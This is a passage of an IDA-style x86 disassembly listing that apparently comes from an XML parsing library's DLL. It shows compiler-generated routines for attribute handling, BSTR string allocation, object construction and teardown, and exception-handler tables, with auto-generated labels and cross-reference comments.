		jz	short loc_69B4F215


loc_69B4F1B7:				; CODE XREF: sub_69B4F0B4+FBj
		mov	ecx, [ebp-20h]
		mov	eax, [ecx]
		call	dword ptr [eax+108h]
		mov	[ebp-4Ch], eax
		test	eax, eax
		jz	short loc_69B4F1D4
		mov	eax, [esi+30h]
		mov	[ebp-50h], eax
		cmp	[ebp-4Ch], eax
		jz	short loc_69B4F215


loc_69B4F1D4:				; CODE XREF: sub_69B4F0B4+113j
		mov	ecx, [ebp-20h]
		call	sub_69B49E98
		mov	[ebp-54h], eax
		test	eax, eax
		jz	short loc_69B4F1EC
		or	byte ptr [eax+9], 10h
		jmp	loc_69B4F294
; ---------------------------------------------------------------------------


loc_69B4F1EC:				; CODE XREF: sub_69B4F0B4+12Dj
		mov	eax, [ebp-20h]
		or	byte ptr [eax+9], 8
		jmp	loc_69B4F294
; ---------------------------------------------------------------------------


loc_69B4F1F8:				; CODE XREF: sub_69B4F0B4+E6j
		mov	ecx, [ebp-20h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		cmp	eax, 5
		jnz	short loc_69B4F235
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		mov	ecx, [ebp-20h]
		call	sub_69B47EB6
		jmp	short loc_69B4F294
; ---------------------------------------------------------------------------


loc_69B4F215:				; CODE XREF: sub_69B4F0B4+E3j
					; sub_69B4F0B4+F5j ...
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		push	dword ptr [ebp-20h]
		mov	ecx, esi
		call	sub_69B4E98C
		test	al, al
		jnz	short loc_69B4F294
		jmp	short loc_69B4F235
; ---------------------------------------------------------------------------


loc_69B4F22B:				; CODE XREF: sub_69B4F0B4+D7j
		mov	eax, [ebp-38h]
		and	eax, 1Fh
		cmp	al, 12h
		ja	short loc_69B4F294


loc_69B4F235:				; CODE XREF: sub_69B4F0B4+EBj
					; sub_69B4F0B4+14Fj ...
		mov	eax, [esi+14h]
		mov	[ebp-58h], eax
		mov	ecx, [esi+10h]
		mov	[ebp-5Ch], ecx
		mov	edx, [ebp-38h]
		and	edx, 1Fh
		mov	[ebp-60h], edx
		push	eax
		push	ecx
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		push	0
		push	dword ptr [ebp-20h]
		push	0
		push	edx
		call	sub_69B49219
		mov	ebx, eax
		mov	[ebp-34h], ebx
		cmp	dword ptr [ebp-60h], 1
		jnz	short loc_69B4F273
		push	ebx
		lea	ecx, [esi+30h]
		call	sub_69B199CC


loc_69B4F273:				; CODE XREF: sub_69B4F0B4+CEj
					; sub_69B4F0B4+1B4j
		mov	byte ptr [esi+34h], 0
		cmp	dword ptr [edi+0Ch], 1
		setz	byte ptr [ebp-64h]
		movzx	eax, byte ptr [ebp-64h]
		shl	eax, 10h
		xor	eax, [ebx+8]
		and	eax, 10000h
		xor	[ebx+8], eax
		mov	[edi+1Ch], ebx


loc_69B4F294:				; CODE XREF: sub_69B4F0B4+7Ej
					; sub_69B4F0B4+133j ...
		cmp	dword ptr [ebp-2Ch], 1
		jle	loc_69B4F33D
		test	byte ptr [ebp-38h], 80h
		jz	short loc_69B4F2AC
		mov	[ebp-20h], ebx
		mov	[ebp-68h], ebx
		jmp	short loc_69B4F2DB
; ---------------------------------------------------------------------------


loc_69B4F2AC:				; CODE XREF: sub_69B4F0B4+1EEj
		cmp	dword ptr [edi+4], 2
		jnz	short loc_69B4F2DB
		mov	[ebp-20h], ebx
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+38h]
		push	offset aXmlSpace_1 ; "XML-SPACE"
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	ecx, eax
		call	sub_69B2EF33
		test	al, al
		jz	short loc_69B4F2DB
		mov	byte ptr [ebp-23h], 1
		mov	byte ptr [ebp-24h], 1


loc_69B4F2DB:				; CODE XREF: sub_69B4F0B4+1F6j
					; sub_69B4F0B4+1FCj ...
		mov	eax, [ebp+18h]
		mov	ebx, [eax]
		mov	[ebp-30h], ebx
		cmp	dword ptr [ebx+4], 2
		jnz	short loc_69B4F33D
		cmp	dword ptr [esi+3Ch], 0
		jbe	short loc_69B4F2F6
		mov	ecx, esi
		call	sub_69B4E426


loc_69B4F2F6:				; CODE XREF: sub_69B4F0B4+239j
		lea	eax, [esi+30h]
		mov	[ebp-6Ch], eax
		push	0
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+34h], 0
		cmp	byte ptr [ebp-21h], 0
		jz	short loc_69B4F32C
		mov	eax, [ebp-70h]
		mov	edi, [eax+1Ch]
		mov	[ebp-74h], edi
		cmp	byte ptr [ebp-24h], 0
		jz	short loc_69B4F328
		push	1
		push	edi
		call	sub_69B4EE00
		mov	[ebp-22h], al


loc_69B4F328:				; CODE XREF: sub_69B4F0B4+267j
		or	byte ptr [edi+0Ah], 1


loc_69B4F32C:				; CODE XREF: sub_69B4F0B4+258j
		mov	byte ptr [ebp-24h], 0
		mov	[ebp-70h], ebx
		mov	byte ptr [ebp-21h], 1
		mov	eax, [ebp-68h]
		mov	[ebp-20h], eax


loc_69B4F33D:				; CODE XREF: sub_69B4F0B4+1E4j
					; sub_69B4F0B4+233j
		dec	dword ptr [ebp-2Ch]
		xor	ebx, ebx
		jmp	loc_69B4F0EC
; ---------------------------------------------------------------------------


loc_69B4F347:				; CODE XREF: sub_69B4F0B4+3Bj
		cmp	byte ptr [ebp-21h], 0
		jz	short loc_69B4F389
		cmp	[esi+3Ch], ebx
		jbe	short loc_69B4F359
		mov	ecx, esi
		call	sub_69B4E426


loc_69B4F359:				; CODE XREF: sub_69B4F0B4+29Cj
		mov	eax, [ebp-70h]
		mov	edi, [eax+1Ch]
		mov	[ebp-78h], edi
		cmp	byte ptr [ebp-24h], 0
		jz	short loc_69B4F373
		push	1
		push	edi
		call	sub_69B4EE00
		mov	[ebp-22h], al


loc_69B4F373:				; CODE XREF: sub_69B4F0B4+2B2j
		or	byte ptr [edi+0Ah], 1
		lea	eax, [esi+30h]
		mov	[ebp-7Ch], eax
		push	0
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+34h], 0


loc_69B4F389:				; CODE XREF: sub_69B4F0B4+297j
		mov	al, [esi+2Ch]
		neg	al
		sbb	eax, eax
		and	eax, 2
		mov	ecx, [ebp-28h]
		mov	[ecx+20h], eax
		cmp	byte ptr [ebp-23h], 0
		jz	short loc_69B4F3CA
		mov	al, [ebp-22h]
		mov	[esi+2Ch], al
		jmp	short loc_69B4F3CA
; ---------------------------------------------------------------------------


loc_69B4F3A7:				; DATA XREF: .text:69B4F3E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4F3B0:				; DATA XREF: .text:69B4F3E8o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		push	dword ptr [eax+10h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B
		mov	[ebp-1Ch], eax


loc_69B4F3CA:				; CODE XREF: sub_69B4F0B4+2E9j
					; sub_69B4F0B4+2F1j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	14h
sub_69B4F0B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B4F3E0	dd 0FFFFFFFFh			dd offset loc_69B4F3A7
		dd offset loc_69B4F3B0
; ---------------------------------------------------------------------------


loc_69B4F3EC:				; DATA XREF: .text:off_69B282DCo
		push	esi
		mov	esi, ecx
		call	sub_69B4EEA0
		test	byte ptr [esp+8], 1
		jz	short loc_69B4F404
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B4F404:				; CODE XREF: .text:69B4F3F9j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B4F40B	proc near		; CODE XREF: sub_69B4FDBC+429p

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		push	8
		call	sub_69B8AB3E
		neg	eax
		sbb	eax, eax
		neg	eax
		retn	4
sub_69B4F40B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4F421	proc near		; CODE XREF: sub_69B4FA5E+94p

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+40h]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B48F23
		jmp	short loc_69B4F451
; ---------------------------------------------------------------------------


loc_69B4F436:				; CODE XREF: sub_69B4F421+32j
		push	0
		push	1
		push	1
		push	0
		mov	ecx, eax
		call	sub_69B4B0C7
		mov	ecx, [esi+40h]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B486B5


loc_69B4F451:				; CODE XREF: sub_69B4F421+13j
		test	eax, eax
		jnz	short loc_69B4F436
		and	[esi+40h], eax
		pop	esi
		leave
		retn
sub_69B4F421	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4F45B	proc near		; CODE XREF: sub_69B4F5D7+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	word ptr [ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_69B4F4AA
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebp+arg_4]


loc_69B4F46E:				; CODE XREF: sub_69B4F45B+4Dj
		mov	edx, [eax]
		add	[ebp+arg_0], 0FFFFh
		add	eax, 4
		cmp	dword ptr [edx+4], 2
		jnz	short loc_69B4F4A3
		cmp	ebx, [edx+14h]
		jnz	short loc_69B4F4A3
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_69B4F4A3
		mov	edi, [edx+10h]
		mov	esi, [ebp+arg_8]
		lea	ecx, [ebx+ebx]
		xor	edx, edx
		repe cmpsb
		jz	short loc_69B4F49F
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_69B4F49F:				; CODE XREF: sub_69B4F45B+3Dj
		test	edx, edx
		jz	short loc_69B4F4B4


loc_69B4F4A3:				; CODE XREF: sub_69B4F45B+23j
					; sub_69B4F45B+28j ...
		cmp	word ptr [ebp+arg_0], 0
		jnz	short loc_69B4F46E


loc_69B4F4AA:				; CODE XREF: sub_69B4F45B+Bj
		xor	ax, ax


loc_69B4F4AD:				; CODE XREF: sub_69B4F45B+66j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	14h
; ---------------------------------------------------------------------------


loc_69B4F4B4:				; CODE XREF: sub_69B4F45B+46j
		mov	ecx, [ebp+arg_10]
		test	ecx, ecx
		jz	short loc_69B4F4BD
		mov	[ecx], eax


loc_69B4F4BD:				; CODE XREF: sub_69B4F45B+5Ej
		mov	ax, word ptr [ebp+arg_0]
		jmp	short loc_69B4F4AD
sub_69B4F45B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4F4C3	proc near		; CODE XREF: sub_69B4F873+179p
					; sub_69B4FA5E+18Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4Ah], 0
		jnz	short loc_69B4F4E3
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short loc_69B4F4E3
		mov	ecx, [eax]
		push	1
		push	[esp+8+arg_0]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	byte ptr [esi+4Ah], 1


loc_69B4F4E3:				; CODE XREF: sub_69B4F4C3+7j
					; sub_69B4F4C3+Ej
		pop	esi
		retn	4
sub_69B4F4C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4F4E7	proc near		; DATA XREF: .text:69B1276Co
		push	8
		push	offset dword_69B4F530
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	eax, [eax+10h]
		mov	ecx, [eax]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B4F527
; ---------------------------------------------------------------------------


loc_69B4F515:				; DATA XREF: .text:69B4F534o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4F51E:				; DATA XREF: .text:69B4F538o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	eax, eax


loc_69B4F527:				; CODE XREF: sub_69B4F4E7+2Cj
		call	sub_69B1853C
		retn	14h
sub_69B4F4E7	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B4F530	dd 0FFFFFFFFh			dd offset loc_69B4F515
		dd offset loc_69B4F51E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4F53C	proc near		; CODE XREF: sub_69B4F5D7+32p
					; sub_69B4F873+80p ...

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [eax]
		push	esi
		push	edi
		push	20h
		lea	ecx, [ebp+var_10]
		call	sub_69B3109C
		mov	esi, [ebp+arg_8]


loc_69B4F557:				; CODE XREF: sub_69B4F53C+85j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [eax+4]
		add	[ebp+arg_0], 4
		cmp	ecx, 0Dh
		jz	short loc_69B4F5AE
		cmp	ecx, 11h
		jnz	short loc_69B4F5C3
		push	dword ptr [eax+14h]
		push	dword ptr [eax+10h]
		call	sub_69B2F9F5
		push	1
		mov	edi, eax
		push	0
		push	edi
		mov	ecx, esi
		call	sub_69B8C45B
		push	0
		push	edi
		mov	ecx, esi
		call	sub_69B8AFBA
		push	dword ptr [esi+34h]
		mov	ecx, eax
		call	sub_69B8C56F
		push	1
		mov	ecx, eax
		call	sub_69B40333
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_69B3146D
		jmp	short loc_69B4F5BE
; ---------------------------------------------------------------------------


loc_69B4F5AE:				; CODE XREF: sub_69B4F53C+2Aj
		push	1
		push	dword ptr [eax+14h]
		lea	ecx, [ebp+var_10]
		push	dword ptr [eax+10h]
		call	sub_69B31369


loc_69B4F5BE:				; CODE XREF: sub_69B4F53C+70j
		dec	ebx
		test	ebx, ebx
		jg	short loc_69B4F557


loc_69B4F5C3:				; CODE XREF: sub_69B4F53C+2Fj
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebp+var_10]
		mov	[eax], ebx
		call	sub_69B31267
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B4F53C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4F5D7	proc near		; CODE XREF: sub_69B4FDBC+39Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B4F45B
		test	ax, ax
		jz	short loc_69B4F610
		push	[ebp+arg_10]
		movzx	eax, ax
		mov	[ebp+arg_C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+var_4]
		call	sub_69B4F53C
		jmp	short locret_69B4F612
; ---------------------------------------------------------------------------


loc_69B4F610:				; CODE XREF: sub_69B4F5D7+20j
		xor	eax, eax

locret_69B4F612:			; CODE XREF: sub_69B4F5D7+37j
		leave
		retn	14h
sub_69B4F5D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4F616	proc near		; CODE XREF: sub_69B4FDBC+44Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_69B4F623
		mov	eax, dword_69B95A18


loc_69B4F623:				; CODE XREF: sub_69B4F616+6j
		push	0
		push	eax
		push	0Ch
		call	sub_69B8AB3E
		neg	eax
		sbb	eax, eax
		neg	eax
		retn	4
sub_69B4F616	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4F636	proc near		; CODE XREF: sub_69B4FCAC+71p
					; sub_69B4FDBC+3F7p
		push	esi
		lea	esi, [ecx+30h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B4F64B
		call	sub_69B315A6
		push	eax
		push	esi
		call	sub_69B17320


loc_69B4F64B:				; CODE XREF: sub_69B4F636+7j
		mov	eax, [esi]
		pop	esi
		retn
sub_69B4F636	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4F64F	proc near		; CODE XREF: sub_69B3DADB+F0p
		push	28h
		push	offset dword_69B4F7B8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		call	sub_69B4E24E
		mov	dword ptr [esi], offset	off_69B12754
		mov	dword ptr [esi+4], offset off_69B282E0
		lea	eax, [esi+10h]
		xor	ebx, ebx
		mov	[eax], ebx
		mov	[esi+14h], ebx
		mov	[esi+18h], ebx
		mov	[esi+1Ch], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		lea	edi, [esi+28h]
		mov	[edi], ebx
		mov	[esi+2Ch], ebx
		mov	[esi+30h], ebx
		push	ebx
		push	eax
		call	sub_69B17320
		push	dword ptr [ebp+14h]
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		mov	[esi+34h], bl
		mov	[esi+35h], bl
		mov	[esi+36h], bl
		mov	[esi+3Ch], bl
		mov	[esi+38h], ebx
		push	dword ptr [ebp+10h]
		push	edi
		call	sub_69B17320
		push	dword ptr [ebp+8]
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B2DEB2
		mov	[esi+40h], ebx
		mov	[esi+44h], ebx
		mov	[esi+48h], bl
		mov	[esi+4Ah], bl
		mov	eax, [ebp+8]
		cmp	[eax+8Dh], bl
		jz	short loc_69B4F6EE
		cmp	[eax+0D0h], ebx
		jnz	short loc_69B4F6EE
		xor	ecx, ecx
		inc	ecx
		jmp	short loc_69B4F6F0
; ---------------------------------------------------------------------------


loc_69B4F6EE:				; CODE XREF: sub_69B4F64F+90j
					; sub_69B4F64F+98j
		xor	ecx, ecx


loc_69B4F6F0:				; CODE XREF: sub_69B4F64F+9Dj
		mov	[esi+49h], cl
		push	dword ptr [eax+68h]
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		lea	ecx, [esi+1Ch]
		call	sub_69B199CC
		mov	eax, [ebp+8]
		mov	al, [eax+82h]
		mov	[ebp-1Dh], al
		cmp	al, bl
		jz	short loc_69B4F799
		mov	eax, [edi]
		mov	[ebp-24h], eax
		mov	al, [eax+2Fh]
		mov	[ebp-25h], al
		cmp	al, bl
		jnz	short loc_69B4F799
		push	38h
		call	sub_69B1D897
		mov	[ebp-2Ch], eax
		cmp	eax, ebx
		jz	short loc_69B4F758
		mov	eax, [esi+24h]
		mov	[ebp-30h], eax
		mov	edi, [edi]
		mov	[ebp-34h], edi
		mov	ecx, [esi+1Ch]
		mov	[ebp-38h], ecx
		push	eax
		push	edi
		push	ecx
		mov	ecx, [ebp-2Ch]
		call	sub_69B8D0D7
		jmp	short loc_69B4F75A
; ---------------------------------------------------------------------------


loc_69B4F758:				; CODE XREF: sub_69B4F64F+E9j
		xor	eax, eax


loc_69B4F75A:				; CODE XREF: sub_69B4F64F+107j
		push	eax
		lea	edi, [esi+18h]
		mov	ecx, edi
		call	sub_69B199CC
		mov	edi, [edi]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		jmp	short loc_69B4F799
; ---------------------------------------------------------------------------


loc_69B4F76F:				; DATA XREF: .text:69B4F7BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4F778:				; DATA XREF: .text:69B4F7C0o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		lea	eax, [esi+1Ch]
		xor	ebx, ebx
		push	ebx
		push	eax
		call	sub_69B17320
		lea	eax, [esi+18h]
		push	ebx
		push	eax
		call	sub_69B17320
		call	sub_69B2E860


loc_69B4F799:				; CODE XREF: sub_69B4F64F+CCj
					; sub_69B4F64F+DBj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	[esi+2Ch], ebx
		jz	short loc_69B4F7A9
		mov	eax, [ebp+10h]
		mov	byte ptr [eax+2Fh], 1


loc_69B4F7A9:				; CODE XREF: sub_69B4F64F+151j
		mov	eax, esi
		call	sub_69B1853C
		retn	10h
sub_69B4F64F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B4F7B8	dd 0FFFFFFFFh			dd offset loc_69B4F76F
		dd offset loc_69B4F778

; =============== S U B	R O U T	I N E =======================================



sub_69B4F7C4	proc near		; CODE XREF: .text:69B4FA42p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+2Ch]
		push	eax
		mov	dword ptr [esi-4], offset off_69B12754
		mov	dword ptr [esi], offset	off_69B282E0
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		add	esi, 0Ch
		push	esi
		call	sub_69B17230
		pop	esi
		jmp	sub_69B2C65C
sub_69B4F7C4	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B4F82B(int, LPCWSTR lpString, int)

sub_69B4F82B	proc near		; CODE XREF: sub_69B4EECB+92p
					; sub_69B4EF9E+68p ...

arg_0		= dword	ptr  4
lpString	= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+lpString]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		test	eax, eax
		jz	short loc_69B4F868
		mov	ecx, [eax+0Ch]
		push	esi
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	esi, eax
		mov	eax, [esp+8+arg_0]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+14h]
		push	esi		; BSTR
		call	SysFreeString
		mov	ecx, [esp+8+arg_8]
		push	edi		; lpString
		call	sub_69B3E374
		pop	esi


loc_69B4F868:				; CODE XREF: sub_69B4F82B+Ej
		mov	ecx, edi
		call	sub_69B2E804
		pop	edi
		retn	0Ch
sub_69B4F82B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4F873	proc near		; CODE XREF: sub_69B4FDBC+7Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		movzx	ecx, word ptr [ebp+arg_4]
		nop
		xor	ebx, ebx
		xor	al, al
		cmp	ecx, ebx
		mov	[ebp+var_4], ecx
		jle	loc_69B4FA16
		push	edi


loc_69B4F891:				; CODE XREF: sub_69B4F873+19Cj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	[ebp+arg_8], 4
		cmp	dword ptr [edx+4], 2
		jnz	loc_69B4FA09
		cmp	dword ptr [edx+8], 1Fh
		jnz	loc_69B4FA09
		mov	edi, [edx+14h]
		cmp	edi, ebx
		jz	loc_69B4FA09
		cmp	[edx+18h], ebx
		jnz	short loc_69B4F8C3
		mov	[ebp+arg_4], ebx
		jmp	short loc_69B4F8DA
; ---------------------------------------------------------------------------


loc_69B4F8C3:				; CODE XREF: sub_69B4F873+49j
		mov	eax, [edx+10h]
		mov	ecx, [esi+20h]
		add	edi, 0FFFFFFFAh
		push	edi		; int
		add	eax, 0Ch
		push	eax		; lpString
		push	ebx		; int
		call	sub_69B4D394
		mov	[ebp+arg_4], eax


loc_69B4F8DA:				; CODE XREF: sub_69B4F873+4Ej
		dec	[ebp+var_4]
		cmp	[ebp+var_4], ebx
		jle	loc_69B4FA1C
		push	dword ptr [esi+28h]
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		call	sub_69B4F53C
		sub	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		inc	[ebp+var_4]
		cmp	[eax+8], ebx
		lea	ecx, [ecx+edi*4]
		mov	[ebp+arg_8], ecx
		jz	loc_69B4FA1C
		mov	ecx, [esi+20h]
		push	ebx		; int
		push	ebx		; lpString
		push	eax		; int
		call	sub_69B4D394
		mov	ebx, eax
		mov	eax, [esi+24h]
		cmp	dword ptr [eax+0D0h], 0
		jnz	short loc_69B4F935
		mov	ecx, [esi+28h]
		push	ebx
		add	ecx, 0Ch
		call	sub_69B47C9C


loc_69B4F935:				; CODE XREF: sub_69B4F873+B4j
		mov	ecx, [esi+20h]
		push	ebx
		call	sub_69B4DA96
		mov	ecx, [esi+20h]
		push	0
		push	ebx
		mov	edi, eax
		push	edi
		push	[ebp+arg_4]
		call	sub_69B4DCB3
		cmp	byte ptr [esi+34h], 0
		jnz	loc_69B4FA05
		mov	ecx, [esi+30h]
		test	ecx, ecx
		mov	byte ptr [ebp+arg_4+3],	0
		jz	short loc_69B4F9B5
		push	ebx
		call	sub_69B1980A
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_69B4F9B5
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_69B4F989
		push	0
		push	edi
		push	10h
		lea	ecx, [eax+3Ch]
		call	sub_69B8AB3E
		test	eax, eax
		jnz	short loc_69B4F9B5


loc_69B4F989:				; CODE XREF: sub_69B4F873+103j
		push	1
		push	edi
		push	[ebp+var_8]
		push	dword ptr [esi+28h]
		push	dword ptr [esi+24h]
		call	sub_69B5CB6E
		mov	ecx, [esi+30h]
		push	ebx
		call	sub_69B17DC6
		mov	ecx, [esi+28h]
		push	edi
		push	edi
		call	sub_69B8B750
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax],	1
		jmp	short loc_69B4F9D1
; ---------------------------------------------------------------------------


loc_69B4F9B5:				; CODE XREF: sub_69B4F873+EFj
					; sub_69B4F873+FCj ...
		mov	eax, [esi+24h]
		mov	ecx, [esi+28h]
		lea	edx, [ebp+arg_4+3]
		push	edx
		push	ebx
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_69B8BD72
		mov	ecx, [ebp+arg_C]
		or	[ecx], al
		jz	short loc_69B4F9F1


loc_69B4F9D1:				; CODE XREF: sub_69B4F873+140j
		lea	eax, [esi+18h]
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_69B4F9F1
		lea	ecx, [esi+10h]
		cmp	[ecx], edx
		jz	short loc_69B4F9F1
		push	eax
		call	sub_69B4D414
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B4F4C3


loc_69B4F9F1:				; CODE XREF: sub_69B4F873+15Cj
					; sub_69B4F873+165j ...
		cmp	byte ptr [ebp+arg_4+3],	0
		jz	short loc_69B4FA05
		mov	eax, [esi+10h]
		mov	ecx, [eax]
		push	0Ah
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B4FA05:				; CODE XREF: sub_69B4F873+E0j
					; sub_69B4F873+182j
		xor	ebx, ebx


loc_69B4FA07:				; CODE XREF: sub_69B4F873+1CAj
		mov	al, 1


loc_69B4FA09:				; CODE XREF: sub_69B4F873+2Bj
					; sub_69B4F873+35j ...
		dec	[ebp+var_4]
		cmp	[ebp+var_4], ebx
		jg	loc_69B4F891
		pop	edi


loc_69B4FA16:				; CODE XREF: sub_69B4F873+17j
		pop	esi
		pop	ebx
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_69B4FA1C:				; CODE XREF: sub_69B4F873+6Dj
					; sub_69B4F873+97j
		cmp	[ebp+arg_4], ebx
		jz	short loc_69B4FA31
		mov	eax, 0C00CE027h
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4FA31:				; CODE XREF: sub_69B4F873+1ACj
		mov	ecx, [esi+20h]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_69B4DCB3
		jmp	short loc_69B4FA07
sub_69B4F873	endp

; ---------------------------------------------------------------------------


loc_69B4FA3F:				; DATA XREF: .text:off_69B282E0o
		push	esi
		mov	esi, ecx
		call	sub_69B4F7C4
		test	byte ptr [esp+8], 1
		jz	short loc_69B4FA57
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B4FA57:				; CODE XREF: .text:69B4FA4Cj
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B4FA5E	proc near		; DATA XREF: .text:69B12760o
		push	54h
		push	offset dword_69B4FC40
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	edi, [ebp+10h]
		cmp	edi, 4
		jg	short loc_69B4FABE
		jz	short loc_69B4FAB6
		mov	eax, edi
		sub	eax, ebx
